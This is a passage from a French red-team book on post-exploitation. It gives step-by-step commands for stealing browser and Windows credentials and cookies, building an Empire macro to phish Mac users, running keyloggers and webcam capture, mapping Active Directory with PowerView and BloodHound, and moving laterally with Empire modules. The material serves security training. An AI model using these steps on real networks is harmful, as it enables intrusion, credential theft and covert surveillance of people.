	Pour recueillir des identifiants Web (voir la Figure 4.17) :
	https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1



	Pour recueillir des identifiants Windows (type générique uniquement, et non domaine) :
	https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1




Note : l’adresse précédente peut provoquer une réaction de la part du système. Pour y accéder, il est peut-être préférable de partir de la racine, https://github.com/peewpw, et de descendre progressivement les niveaux.
Comme vous pouvez le voir sur la figure, nous avons récupéré à la fois les identifiants stockés sur Facebook ainsi que toutes les références génériques. Rappelez-vous que, pour les informations d’identification Web, Get-WebCredentials ne récupèrera des mots de passe qu’à partir d’Internet Explorer/Edge. Si nous avons besoin de le faire à partir de Chrome, nous pouvons utiliser la charge utile Empire powerhell/collection/ChromeDump. Avant de faire fonctionner ChromeDump, vous devrez d’abord « tuer » le processus Chrome et ensuite exécuter
[image: FIGURE 4.17 : Script pour collecter les identifiants Web.]
FIGURE 4.17 : Script pour collecter les identifiants Web.
ChromeDump. Enfin, j’aime consulter l’historique de tous les navigateurs et les cookies. Non seulement nous pouvons en apprendre beaucoup sur leurs serveurs internes, mais aussi, si leurs sessions sont encore actives, nous pouvons utiliser leurs cookies et nous authentifier sans jamais connaître leurs mots de passe !
En utilisant un script PowerShell comme https://bit.ly/2RwqMAC, nous pouvons extraire tous les cookies du navigateur, les voler et en profiter, le tout sans augmentation des privilèges ni accès disque (voir la Figure 4.18).
Ensuite, nous pouvons même commencer à chercher des serveurs et des identifiants dans tous les logiciels tiers qui pourraient être installés sur le système de la victime. Un outil appelé SessionGopher (https://bit.ly/2J0Vq0R) peut récupérer les noms d’hôtes et les mots de passe enregistrés dans WinSCP, PuTTY, SuperPuTTY, FileZilla et Microsoft Remote Desktop. L’une des autres fonctionnalités incluses est la possibilité de récupérer à distance les informations d’identification locales sur d’autres systèmes du réseau. La façon la plus simple de lancer SessionGopher consiste à importer le script PowerShell et à l’exécuter de la manière suivante :
	Charger le fichier PowerShell :
	..\SessionGopher.ps1



	Exécuter SessionGopher :
	Invoke-SessionGopher -Thorough




[image: FIGURE 4.18 : Récupérer les cookies de Chrome en mémoire.]
FIGURE 4.18 : Récupérer les cookies de Chrome en mémoire.
Ce ne sont là que quelques moyens d’obtenir des informations d’identification du système hôte sans jamais privilégier l’élévation, le contournement du contrôle de compte utilisateur ou l’activation d’un keylogger. Puisque nous sommes dans le contexte de l’utilisateur, nous avons accès à de nombreuses ressources sur la machine hôte pour nous aider à poursuivre notre chemin vers l’exploitation.
Obtenir des identifiants locaux et des informations d’OS X
La plupart de nos mouvements latéraux se concentrent sur Windows. Cela vient du fait que presque tous les environnements de taille moyenne à grande utilisent Active Directory pour gérer leurs systèmes et leurs hôtes. Mais nous rencontrons de plus en plus de Mac chaque année, et nous voulons nous assurer qu’ils sont également pris en compte. Une fois dans un certain environnement, la plupart des attaques sont similaires à celles du monde de Windows (c’est-à-dire scanner les identifiants par défaut, lancer des attaques Jenkin/application, renifler le réseau, et se déplacer latéralement via SSH ou VNC).
Il y a quelques charges utiles qui supportent les Mac, et l’un de mes favoris utilise Empire. Empire peut générer de multiples charges utiles pour amener votre victime à exécuter nos agents. Il s’agit notamment de ducky scripts, d’applications, de macros Office, de lanceurs Safari, etc. Par exemple, nous pouvons créer une macro Office similaire à ce que nous avons fait sous Windows dans PowerShell Empire :
	Lancez Empire.

	Tout d’abord, assurez-vous de configurer votre auditeur Empire comme nous l’avons fait au début du livre.

	Ensuite, nous avons besoin de construire une Macro OS X comme charge utile.
	usestager osx/macro



	Définissez la sortie pour écrire dans votre système de fichiers local.
	set OutFile /tmp/mac.py



	Générez la charge utile (voir la Figure 4.19).


Si vous regardez la macro Office générée, vous verrez que c’est juste du code Base64 qui est exécuté par Python. Heureusement pour nous, Python est une application installée par défaut sur Mac, et, lorsque cette macro est exécutée, nous devrions obtenir notre agent.
Pour créer le fichier Excel malveillant sur un Mac, nous pouvons ouvrir une nouvelle feuille de calcul Excel, aller dans le menu Affichage, puis demander à créer une macro. Une fois que Microsoft Visual Basic s’ouvre, supprimez tout le code courant et remplacez-le par votre tout nouveau code de macro. Enfin, enregistrez le classeur sous forme de fichier xlsm.
Maintenant, envoyez votre fichier malveillant à votre victime et observez les agents Empire en action. Du côté de la victime, une fois le fichier ouvert, Excel demandera à la victime si elle veut activer les macros (voir la Figure 4.20). Vous devez bien entendu imaginer une histoire crédible pour que la victime clique sur Activer le contenu !
Une fois votre agent connecté à votre serveur Empire, la phase de reconnaissance est assez similaire. Nous allons avoir besoin de ceci :
	Récupérer les informations et mots de passe du navigateur :
	usemodule collection/osx/browser_dump



	Activer un keylogger :
	usemodule collection/osx/keylogger



	Forcer un message pour la capture de mot de passe :
	usemodule collection/osx/prompt



	Utiliser leur caméra pour prendre une photo aide toujours :
	usemodule collection/osx/webcam




[image: FIGURE 4.19 : Générer une macro Office.]
FIGURE 4.19 : Générer une macro Office.

LotL dans un environnement de domaine Windows
Encore une fois, dans les exemples qui suivent, nous allons utiliser PowerShell Empire. Cependant, vous pouvez aussi faire appel à Metasploit, Cobalt Strike, ou similaire pour opérer les mêmes types d’attaques. Cela n’a pas vraiment d’importance tant que vous avez la possibilité
[image: FIGURE 4.20 : Activer les macros ou non, telle est la question !]
FIGURE 4.20 : Activer les macros ou non, telle est la question !
d’importer des scripts PowerShell en mémoire et d’échapper à toutes les protections du système hôte. Voici donc le temps des tactiques dites Living Off of the Land (LotL21).
Vous avez compromis votre victime, que vous avez volé tous les secrets de son poste de travail, que vous avez découvert certains des sites que votre victime consulte, et que vous avez lancé une reconnaissance de style netstat... et après ?
Pour un membre émérite d’une Red Team, il s’agit vraiment de trouver des informations fiables sur les serveurs, les postes de travail, les utilisateurs, les services et sur leur environnement Active Directory. Dans de nombreux cas, nous ne pouvons pas exécuter d’analyse de vulnérabilité ou même un scan nmap en raison du risque d’être alerté/pris. Comment pouvons-nous alors utiliser les « fonctions » des réseaux et des services pour trouver toutes les informations dont nous avons besoin ?


Nom principal de service
Un nom principal de service, ou SPN (pour Service Principal Name), est une fonctionnalité de Windows qui permet à un client d’identifier de manière unique l’instance d’un service. Les SPN sont utilisés par l’authentification Kerberos pour associer une instance de service à un compte de connexion de service22. Par exemple, vous pouvez avoir un SPN pour les comptes de service qui exécutent des serveurs MSSQL23, HTTP, des serveurs d’impression et autres. Pour un attaquant, une interrogation de SPN est une partie vitale de la phase d’énumération. En effet, n’importe quel compte d’utilisateur de domaine peut interroger AD pour tous les comptes/serveurs de service qui sont associés à Active Directory. Nous pouvons identifier toutes les bases de données et tous les serveurs Web sans avoir à scanner un seul hôte !
En tant qu’attaquant, nous pouvons profiter de ces « fonctionnalités » pour interroger Active Directory. Depuis n’importe quel ordinateur relié par domaine, un attaquant peut exécuter le fichier setspn.exe pour interroger AD. Ce fichier est un binaire qui se trouve sur tous les systèmes Windows modernes :
setspn -T [DOMAINE] -F -Q */*

	Commutateurs :
	-T = Effectue une requête sur le domaine spécifié.

	-F = Effectue des requêtes au niveau de la forêt AD, plutôt qu’au niveau du domaine.

	-Q = Exécution sur chaque domaine ou forêt cible.

	*/* = Tout.




Quel type d’information obtient-on avec setspn ? Sur la Figure 4.21, en exécutant la commande ci-dessus, nous voyons des informations sur les services s’exécutant sur le contrôleur de domaine, des informations sur un poste de travail, et nous avons également trouvé un serveur nommé CSK-GITHUB. Dans cet exemple, nous constatons qu’un service HTTP fonctionne sur cette machine hôte. Si cela avait été sur un port différent, mais toujours pour le même protocole, ces informations auraient également été listées.
[image: FIGURE 4.21 : Collecter des informations avec setspn.exe.]
FIGURE 4.21 : Collecter des informations avec setspn.exe.
Setspn ne va pas seulement fournir des informations utiles sur les utilisateurs du service et tous les noms d’hôtes dans AD, mais il va aussi nous dire quels services fonctionnent sur les systèmes et même sur le port. Pourquoi avons-nous besoin de scanner le réseau si nous pouvons obtenir la plupart des informations directement depuis AD pour les services ainsi que les ports ? Que pourriez-vous attaquer tout de suite ? Par exemple Jenkins ? Tomcat ? ColdFusion ?

Interroger Active Directory
Je ne sais pas combien de fois j’ai trouvé un unique compte et mot de passe d’utilisateur de domaine, juste pour entendre le service informatique me dire qu’il s’agit simplement d’un compte d’utilisateur de domaine sans autres privilèges et qu’il ne faut pas que je m’inquiète. Nous avons trouvé ces types de comptes sur des imprimantes, des postes de travail partagés, des fichiers de texte plats, en clair, avec des mots de passe pour les services, des fichiers de configuration, des iPad, des applications Web qui ont les mots de passe à l’intérieur du code source de la page, et bien plus encore. Mais que pouvez-vous faire avec un compte d’utilisateur de domaine de base sans autres membres dans le groupe ?
Obtenir plus d’informations détaillées sur les utilisateurs dans AD
Nous pouvons utiliser un outil appelé PowerView (http://bit.ly/2JKTg5d) créé par @harmj0y pour faire tout le sale boulot à notre place. PowerView est un outil PowerShell permettant d’acquérir des connaissances sur la situation du réseau dans les domaines Windows. Pour plus de détails, reportez-vous à l’adresse GitHub http://bit.ly/2r9lYnH. En tant qu’attaquant, nous pouvons utiliser PowerView et PowerShell pour interroger AD, ce qui peut être fait avec le plus petit utilisateur autorisé dans AD, c’est-à-dire les utilisateurs du domaine (Domain Users), et même sans autorisations d’administrateur local.
Voyons un exemple montrant la quantité de données que nous pouvons obtenir avec cet utilisateur de bas niveau. Pour commencer, nous avons déjà Empire qui est en cours d’exécution (vous pourriez aussi reproduire cela dans Metasploit, Cobalt Strike, ou similaire) et nous avons exécuté une charge utile sur notre système victime. Si vous n’avez jamais configuré Empire auparavant, revoyez le Chapitre 1 du livre. Une fois que notre agent communique avec notre serveur de commandement et de contrôle, nous pouvons taper ‘info’ pour obtenir des informations sur notre victime. Dans ce cas, nous avons compromis un hôte utilisant un système Windows 10 entièrement patché, avec comme nom d’utilisateur neil.pawstrong, sur le domaine de cyberespacekitten (voir la Figure 4.22).
Ensuite, nous voulons envoyer des requêtes pour récupérer des informations du domaine, mais sans soulever trop de suspicion. Nous pouvons utiliser pour cela les outils PowerView d’Empire. PowerView interroge le contrôleur de domaine (DC) pour obtenir des informations sur les utilisateurs, les groupes, les ordinateurs, etc. Les fonctionnalités PowerView que nous utiliserons n’interrogeront que le contrôleur de domaine et devraient ressembler à du trafic normal.
Quels modules sont disponibles sous Empire pour connaître la situation (voir la Figure 4.23) ?
[image: FIGURE 4.22 : L’agent info au rapport !]
FIGURE 4.22 : L’agent info au rapport !
[image: FIGURE 4.23 : Liste des modules PowerView.]
FIGURE 4.23 : Liste des modules PowerView.
Nous pouvons commencer par le script PowerView appelé get_user. Get_user envoie une requête pour obtenir des informations sur un ou plusieurs utilisateurs donnés dans le domaine spécifié. En utilisant les paramètres par défaut, nous pouvons obtenir un vidage de toutes les informations sur les utilisateurs dans AD et les données associées (voir la Figure 4.24).
Module: situational_awareness/network/powerview/get_user

[image: FIGURE 4.24 : Informations retournées par get_user.]
FIGURE 4.24 : Informations retournées par get_user.
Sur la figure précédente, nous pouvons voir des informations sur l’un des utilisateurs, nommé Purri Gagarin. Quel type d’information avons-nous obtenu ? Nous pouvons voir leur nom de compte ou leur nom d’utilisateur, quand leur mot de passe a été changé, à quelle catégorie d’objet ils appartiennent, de qui ils sont membres, quelle est leur dernière connexion, et plus encore. Partant de là, nous pouvons obtenir une quantité significative d’informations à partir du service d’annuaire. Pouvons-nous allez encore plus loin ?
Module: situational_awareness/network/powerview/get_group_member

Get_group_member retourne les membres d’un groupe donné, avec l’option ‘Recurse’ pour trouver tous les membres effectifs du groupe. Nous pouvons utiliser AD pour trouver des utilisateurs spécifiques de certains groupes. Par exemple, avec les paramètres Empire suivants, nous pouvons rechercher tous les administrateurs de domaine et les groupes qui font partie du groupe Domain Admins :
	info

	Définir Identity avec «Domain Admins»

	Définir Recurse à True

	Définir FullData à True

	Exécuter (voir la Figure 4.25)


[image: FIGURE 4.25 : Découvrir les membres d’un groupe.]
FIGURE 4.25 : Découvrir les membres d’un groupe.
Maintenant, nous avons une liste d’utilisateurs, de groupes, de serveurs et de services. Cela nous aidera à déterminer quels utilisateurs ont quels privilèges. Cependant, nous avons encore besoin d’informations détaillées sur les postes de travail et les systèmes. Cela pourrait inclure les versions, les dates de création, l’utilisation, les noms d’hôtes, etc. Nous pouvons obtenir ces informations avec un module appelé get_computer.
Module: situational_awareness/network/powerview/get_computer

Description : le module get_computer interroge le domaine pour les objets informatiques courants (voir la Figure 4.26).
Quels renseignements obtenons-nous lorsque get_computer interroge le contrôleur de domaine ? Eh bien, nous voyons que nous avons obtenu des informations sur la machine, quand elle a été créée, les noms d’hôtes DNS, les noms uniques (Distinguished Name, ou DN) attribués aux objets, et plus encore. En tant qu’attaquant, l’un des détails les plus utiles dans la reconnaissance est l’obtention des types et des versions du système d’exploitation. Dans ce cas, nous pouvons voir que ces systèmes sont sous Windows 10 avec le Build 16299. Nous pouvons prendre cette information et savoir si le système d’exploitation est récent et s’il fait l’objet d’une mise à jour active sur la page d’information de Microsoft consacrée aux versions de Windows :
https://docs.microsoft.com/fr-fr/windows/release-information/.

[image: FIGURE 4.26 : Utiliser le module get_computer.]
FIGURE 4.26 : Utiliser le module get_computer.


Bloodhound/Sharphound
Comment pouvons-nous prendre toutes les informations que nous avons recueillies lors de notre phase de reconnaissance pour créer un canal d’exploitation ? Comment pouvons-nous facilement et rapidement corréler qui a accès à quoi ? Dans le temps, nous avions l’habitude d’essayer de tout compromettre pour arriver où nous voulions, mais cela augmentait toujours la probabilité de se faire attraper.
Andrew Robbins, Rohan Vazarkar et Will Schroeder ont créé un des meilleurs outils de corrélation appelé Bloodhound/Sharphound. Selon leur page Github, « BloodHound utilise la théorie des graphes pour révéler les relations cachées et souvent involontaires dans un environnement Active Directory. Les attaquants peuvent utiliser BloodHound pour identifier facilement des voies d’attaque très complexes qu’il serait autrement impossible d’identifier rapidement. Les défenseurs peuvent utiliser BloodHound pour identifier et éliminer ces mêmes voies d’attaque. Les équipes bleues et rouges peuvent utiliser BloodHound pour mieux comprendre les relations privilégiées dans un environnement Active Directory. » :
https://github.com/BloodHoundAD/BloodHound

Bloodhound fonctionne en exécutant un ingestor24 sur un système victime, puis il interroge AD (comme nous le faisions manuellement auparavant) quant aux utilisateurs, groupes et hôtes. L’ingestor essaiera ensuite de se connecter à chaque système pour énumérer les utilisateurs connectés, les sessions et les autorisations. Bien sûr, la charge sur le réseau va être assez lourde. Pour une organisation de taille moyenne à grande avec le paramétrage par défaut (qui peut être modifié), cela peut prendre moins de 10 minutes pour se connecter à chaque système hôte et récupérer les informations en utilisant Sharphound. Notez que, puisque cela touche tous les systèmes joints au domaine sur le réseau, cela pourrait vous faire attraper. Il y a une option Stealth dans Bloodhound qui n’interroge qu’Active Directory et ne se connecte pas à tous les systèmes hôtes, mais la sortie obtenue est assez limitée.
Au moment où ce livre est écrit, il existe deux versions différentes (je suis sûr que l’ancienne sera bientôt supprimée, si ce n’est déjà fait) :
	Dans Empire, vous pouvez passer par le module (ceci utilise toujours l’ancienne version de PowerShell qui est très lente) :
	usemodule situational_awareness/network/bloodhound



	La meilleure option est Sharphound. Sharphound est la version C# du Bloodhound Ingester d’origine. Celle-ci est beaucoup plus rapide et stable. Elle peut être utilisée comme binaire autonome ou importée comme script PowerShell. Le script PowerShell Sharphound utilisera reflection et assembly.load pour charger l’ingestor BloodHound C# compilé en mémoire :
	https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1




Pour exécuter l’ingestor Bloodhound/Sharphound, il y a plusieurs paramètres CollectionMethod que vous devrez peut-être spécifier :
	Group – Collecte des renseignements sur les membres du groupe.

	LocalGroup – Collecte des informations d’administration locale pour les ordinateurs.

	Session – Collecte des informations de session pour les ordinateurs.

	SessionLoop – Collecte continue d’informations de session jusqu’à ce qu’elles soient tuées.

	Trusts – Énumère les données de confiance du domaine.

	ACL – Collecte de données ACL (Access Control List).

	ComputerOnly – Collecte des données d’administration locale et de session.

	GPOLocalGroup – Collecte des informations d’administration locale à l’aide de GPO (Group Policy Objects).

	LoggedOn – Collecte des informations de session à l’aide de méthodes privilégiées (nécessite des privilèges d’administrateur !).

	ObjectProps – Collecte des informations sur les propriétés de nœud pour les utilisateurs et les ordinateurs.

	Default – Collecte d’informations multiples sur les utilisateurs, l’administration locale, les sessions et les données de confiance.


Pour exécuter Blood/Sharphound sur le système hôte :
	Lancez PowerShell et importez Bloodhound.ps1 ou SharpHound.ps1 :
	Invoke-Bloodhound -CollectionMethod Default

	Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default -CompressData -RemoveCSV -NoSaveCache



	Lancez les exécutables :
	SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Grou




Une fois que Bloundhound/Sharphound a terminé, quatre fichiers seront déposés sur le système de la victime. Prenez ces fichiers et placez-les dans votre boîte Kali. Ensuite, nous devons démarrer notre serveur Neo4j et importer ces données pour construire nos graphes de corrélation.
Lancez Bloodhound :
	apt-get install bloodhound

	neo4j console

	Ouvrir http://localhost:7474 dans le navigateur
	Se connecter à bolt://localhost:7687

	Nom d’utilisateur : neo4j

	Mot de passe : neo4j

	Changer le mot de passe



	Exécuter Bloodhound sur un terminal :
	bloodhound

	URL de la base de données : bolt://127.0.0.1:7687

	Nom d’utilisateur : neo4j

	Mot de passe : le nouveau mot de passe



	Charger les données :
	Sur le côté droit, il y a un bouton ‘Upload Data’

	Chargez acls.csv, group_membership.csv, local_admin.csv et sessions.csv




Si vous n’avez pas de domaine pour ce test, j’ai téléchargé les quatre fichiers Bloodhound ici pour que vous puissiez répéter ces exercices :
https://github.com/cyberspacekittens/bloodhound

Une fois dans Bloodhound et toutes les données importées, nous pouvons aller dans Queries pour regarder ce que donne l’option Find Shorted Paths to Domain Admin (Trouver des chemins raccourcis vers les administrateurs de domaine). C’est ce qu’illustre la Figure 4.27. Nous pouvons aussi choisir des utilisateurs spécifiques et voir si nous pouvons tracer un chemin vers cet utilisateur ou ce groupe particulier. Dans notre cas, la première boîte que nous avons compromise est NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL. Dans la barre de recherche, on insère cet utilisateur, on clique sur le bouton ‘Pathfinding’, et on tape ‘Domain Admin’ (ou tout autre utilisateur) pour voir si on peut router un chemin entre ces objets.
[image: FIGURE 4.27 : Dans Bloodhound.]
FIGURE 4.27 : Dans Bloodhound.
Comme vous pouvez le voir à partir de la machine de Neil, nous pouvons pivoter jusqu’au CSK-Lab. Une fois là, on trouve un utilisateur appelé Purri, qui est un membre du groupe HelpDesk.
Si nous pouvons compromettre le groupe Helpdesk, nous aurons la possibilité de pivoter jusqu’au système de Chris, auquel Elon Muskkat est actuellement aussi connecté (voir la Figure 4.28). Si nous arrivons à migrer vers son processus ou à voler son mot de passe en texte clair, nous pourrons devenir administrateur du domaine !
[image: FIGURE 4.28 : De Chris à l’administration du système en passant par Elon.]
FIGURE 4.28 : De Chris à l’administration du système en passant par Elon.
Dans le cas de grands réseaux, nous avons remarqué des limitations et des problèmes de recherche avec les requêtes de Bloodhound. Un grand avantage de l’utilisation de Neo4j est qu’il permet d’effectuer des requêtes « brutes » via son propre langage appelé Cypher. Une étude approfondie de Cypher pour les requêtes personnalisées peut être trouvée ici : https://blog.cptjesus.com/posts/introtocypher.
Quel genre de requêtes personnalisées pouvons-nous ajouter ? Sachez que @porterhau5 a fait de grands progrès concernant l’extension de Bloodhound pour suivre et visualiser vos compromissions. Voyez l’article correspondant ici :
https://bit.ly/2WX8469

À un haut niveau, @porterhau5 a ajouté l’idée de baliser les hôtes compromis pour faciliter une meilleure stratégie de pivoting dans l’environnement. Par exemple, dans ce faux scénario, nous avons compromis l’utilisateur initial en hameçonnant l’utilisateur niel.pawstrong. En faisant appel au langage Cypher et à la fonction de requête brute de l’application Bloodhound, nous pouvons exécuter ces requêtes :
	Ajout d’une étiquette de possession à un système compromis :
	MATCH (n) WHERE n.name=”NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=”phish”, n.wave=1



	Exécution d’une requête pour afficher tous les systèmes possédés qui ont été piratés :
	MATCH (n) WHERE n.owned=”phish” RETURN n




Maintenant, nous pouvons ajouter quelques requêtes personnalisées à Bloodhound. Dans l’onglet Queries de Bloodhound, faites défiler la liste vers le bas et cliquez sur le bouton d’édition en regard de «Custom Queries». Remplacez tout le texte par le contenu de :
https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json

Après avoir sauvegardé, nous devrions avoir beaucoup plus de requêtes à notre disposition (voir la Figure 4.29). Nous pouvons maintenant cliquer sur «Find Shortest Path from owned node to Domain Admin» (Trouver le chemin le plus court entre le nœud possédé et l’administrateur du domaine).
[image: FIGURE 4.29 : Ajouter des requêtes personnalisées à Bloodhound.]
FIGURE 4.29 : Ajouter des requêtes personnalisées à Bloodhound.
Si vous voulez y regarder de plus près, consultez la version fork de Bloodhound de @porterhau5. Il rend l’étiquetage des machines compromises beaucoup plus joli et permet de disposer de davantage de fonctionnalités personnalisées :
https://github.com/porterhau5/BloodHound-Owned

Jusqu’à présent, sans effectuer de scan, nous avons été en mesure d’obtenir de nombreuses informations sur l’organisation. Tout cela avec des droits en tant qu’utilisateur AD local (utilisateurs de domaine) et, pour l’essentiel, aucun trafic réseau ne semble trop suspect. Comme vous pouvez le voir, nous avons pu faire tout cela sans être un administrateur local ou avoir des droits d’administration sur le système local.
Bloodhound ACL/ACE avancé
Lors de l’utilisation de l’option ACL (Access Control List25) du paramètre CollectionMethod de Bloodhound, notre script demandera à AD de rassembler toutes les autorisations de contrôle d’accès sur les utilisateurs/objets. Les informations que nous recueillons à partir des entrées de contrôle d’accès (ACE) décrivent les autorisations acceptées et refusées pour les utilisateurs, les groupes et les ordinateurs. Trouver et abuser des ACE pourrait faire l’objet d’un livre entier en soi, mais voici quelques bonnes ressources pour fournir un point de départ :
	BloodHound 1.3c – The ACL Attack Path Update (https://wald0.com/?p=112).

	Introducing the Adversary Resilience Methodology (http://bit.ly/2GYU7S7).


Que recherchons-nous lors de l’importation de données ACL dans Bloodhound ? Bloodhound identifie les domaines où des faiblesses pourraient exister dans les ACE. Cela inclura notamment qui a la capacité de changer/réinitialiser les mots de passe, d’ajouter des membres aux groupes, de mettre à jour des objets comme le scriptPath (chemin d’accès aux fichiers de script personnalisés) pour d’autres utilisateurs, de mettre à jour un objet ou d’écrire un nouvel ACE sur un objet, et plus encore.
Comment pourriez-vous utiliser tout ceci ? Lorsque nous compromettons des boîtes de dialogue et que nous obtenons des informations d’identification supplémentaires, nous pouvons cibler des chemins d’accès pour trouver un utilisateur qui a la capacité de réinitialiser les mots de passe ou de modifier les permissions ACE. Cela conduira à des manières créatives de trouver des chemins d’accès vers l’administrateur du domaine ou vers des comptes privilégiés, et permettra même de mettre en place des portes dérobées qui seront utilisées plus tard. Une excellente ressource pour en apprendre davantage sur ces types d’abus est le document intitulé « An ACE Up The Sleeve: Designing Active Directory DACL Backdoors », d’Andy Robbins et Will Schroeder (http://ubm.io/2GI5EAq).

Se déplacer latéralement – Processus de migration
Une fois opéré l’accès à une boîte avec plusieurs utilisateurs, il est de pratique courante soit de fabriquer des tokens26 (ou jetons), soit de faire migrer les tokens de différents utilisateurs. Cela n’a rien de nouveau, mais c’est très utilisé pour se déplacer latéralement dans un environnement. Généralement, à partir des sorties fournies par Bloodhound ou de postes de travail partagés, en tant qu’attaquants, nous devons être capables de nous faire passer pour d’autres utilisateurs sur nos systèmes victimes.
Il y a différentes façons d’y parvenir en utilisant les multiples outils dont nous disposons. En termes de Metasploit, nous devrions tous être assez familiers avec la postexploitation incognito pour voler des tokens27. Dans Empire, nous pouvons utiliser steal_tokens pour usurper l’identité d’un utilisateur sur ce système. J’ai remarqué que parfois, voler des tokens peut faire échouer nos shells. Pour éviter cela, nous pouvons injecter un nouvel agent dans un processus en cours d’exécution possédé par un utilisateur différent.
Dans l’illustration de la Figure 4.30, nous avons hameçonné un employé qui a exécuté notre malware. Cela nous a permis de nous infiltrer dans un processus appartenant à cet utilisateur victime (neil.pawstrong). Une fois sur la boîte de cet utilisateur, nous avons pivoté sur le système de Buzz Clawdrin et nous avons créé un nouvel agent avec WMI (Windows Management Instrumentation). Le problème ici est que nous sommes toujours sous le processus de notre victime initiale, neil.pawstrong, alors que nous avons utilisé nos identifiants en cache pour générer un shell sur l’hôte de Buzz. Par conséquent, au lieu de voler des jetons, nous devrions utiliser la fonction psinject d’Empire.
PSInject dans Empire « a la capacité d’injecter un agent dans un autre processus en utilisant ReflectivePick pour charger le runtime du langage .NET dans un processus et exécuter une commande PowerShell particulière, le tout sans lancer un nouveau processus powershell.exe ! » (https://bit.ly/2WZ2iB5). Nous l’utilisons pour créer un tout nouvel agent s’exécutant comme un processus appartenant à Buzz.Clawdrin, de sorte que nous pouvons maintenant obtenir ses autorisations d’accès.

S’éloigner latéralement de votre hôte initial
Maintenant que vous avez trouvé des chemins potentiels vers lesquels vous pouvez vous déplacer, quelles sont les options dont vous pouvez disposer pour obtenir l’exécution de code vers ces systèmes ? La façon la plus simple consiste à utiliser les autorisations de notre utilisateur Active Directory actuel pour prendre le contrôle d’un autre système. Par exemple, nous pouvons voir un gestionnaire qui a un accès complet aux machines de ses subordonnés, une machine de conférence/laboratoire avec plusieurs utilisateurs qui ont des privilèges d’administration, une mauvaise configuration sur les systèmes internes, ou encore constater que quelqu’un a ajouté manuellement un utilisateur au groupe des administrateurs locaux sur ce PC. Ce sont quelques-unes des façons dont nous voyons un utilisateur avoir accès à distance à d’autres postes de travail sur le réseau. Une fois sur une machine compromise, nous pouvons soit prendre les résultats de Bloodhound, soit balayer à nouveau le réseau pour voir sur quelles machines nous avons un accès local :
[image: FIGURE 4.30 : L’art de voler des jetons.]
FIGURE 4.30 : L’art de voler des jetons.
	Module Empire :


situational_awareness/network/powerview/find_localadmin_access

	Module Metasploit :


https://bit.ly/2sSyaO1

Le service find_localadmin_access d’Empire interrogera Active Directory pour tous les noms d’hôtes et tentera de s’y connecter (voir la Figure 4.31). C’est certainement un outil « bruyant » car il doit se connecter à chaque hôte et valider le fait qu’il s’agit bien d’un administrateur local.
[image: FIGURE 4.31 : Trouver les accès en tant qu’administrateur local.]
FIGURE 4.31 : Trouver les accès en tant qu’administrateur local.
Comme nous pouvons le voir, le module find_localadmin_access a identifié que notre utilisateur compromis a accès à la machine buzz.cyberspacekittens.local. Ça devrait être la même chose que quand nous avons exécuté Bloodhound. Pour opérer une double vérification quant à l’accès, je lance généralement des commandes à distance non interactives comme dir \\[système distant]\C$ afin de voir si nous avons les autorisations en lecture/écriture sur le lecteur C (voir la Figure 4.32).
[image: FIGURE 4.32 : Vérifier les droits dont nous disposons.]
FIGURE 4.32 : Vérifier les droits dont nous disposons.
En termes de mouvement latéral, plusieurs options s’offrent à vous. Jetons d’abord un coup d’œil à celles d’Empire car elles sont généralement les plus courantes (tirées directement d’Empire) :
	inveigh_relay : fonction relais SMB de Inveigh. Ce module peut être utilisé pour relayer les demandes d’authentification HTTP/Proxy NTLMv1/NTLMv2 entrantes vers une cible SMB. Si l’authentification est relayée avec succès et que le compte a le privilège correct, une commande spécifiée ou un lanceur Empire sera exécuté sur la cible de style PSExec.

	invoke_executemsbuild : cette fonction exécute une commande powershell sur un hôte local/distant en utilisant MSBuild et une tâche en ligne. Si des informations d’identification sont fournies, le partage d’administration par défaut est monté localement. Cette commande sera exécutée dans le contexte du processus MSBuild.exe sans démarrer PowerShell.exe.

	invoke_psremoting : exécute un stager28 sur des hôtes distants en utilisant PSRemoting. Tant que la victime a activé psremoting (qui n’est pas toujours disponible), nous pouvons exécuter un PowerShell via ce service.

	invoke_sqloscmd : exécute une commande ou un stager sur des hôtes distants en utilisant xp_cmdshell. Ce bon vieux xp_cmdshell est de retour !

	invoke_wmi : exécute un stager sur des hôtes distants en utilisant WMI. WMI est presque toujours activé et c’est un excellent moyen d’exécuter vos charges utiles PowerShell.

	jenkins_script_console : déploie un agent Empire sur un serveur Jenkins avec un accès non authentifié à la console de script. Comme nous le savons, les serveurs Jenkins sont couramment rencontrés, et, sans informations d’identification, cela signifie généralement un RCE complet via le terminal /script.

	invoke_dcom : invoque des commandes sur des hôtes distants via l’objet COM MMC20.Application sur DCOM (http://bit.ly/2qxq49L). Permet de pivoter sans psexec, WMI ou PSRemoting.

	invoke_psexec : exécute un stager sur des hôtes distants en utilisant la fonctionnalité de type PsExec. C’est l’ancienne façon d’utiliser PsExec pour déplacer notre fichier et l’exécuter. Cela pourrait potentiellement déclencher des alarmes, mais c’est quand même une bonne méthode s’il n’y a rien d’autre de disponible.

	invoke_smbexec : exécute un stager sur des hôtes distants en utilisant SMBExec.ps. Au lieu d’utiliser PsExec, nous pouvons faire une attaque similaire avec les outils samba.

	invoke_sshcommand : exécute une commande sur un hôte distant via SSH.

	invoke_wmi_debugger : utilise WMI pour définir le débogueur pour un binaire cible sur une machine distante comme étant cmd.exe ou un stager. Utilise des outils de débogage comme sethc (touches rémanentes) pour exécuter nos agents.

	new_gpo_immediate_task : construit une schtask (tâche planifiée) ‘immédiate’ pour forcer une stratégie de groupe (GPO) spécifiée. Si votre compte utilisateur a un accès pour modifier les GPO, le module vous permet de « pousser » une tâche planifiée ‘immédiate’ vers un GPO que vous pouvez éditer, permettant ainsi l’exécution de code sur les systèmes où cette stratégie de groupe est appliquée.


Voyez notamment à ce sujet l’adresse :
http://www.harmj0y.net/blog/empire/empire-1-5/

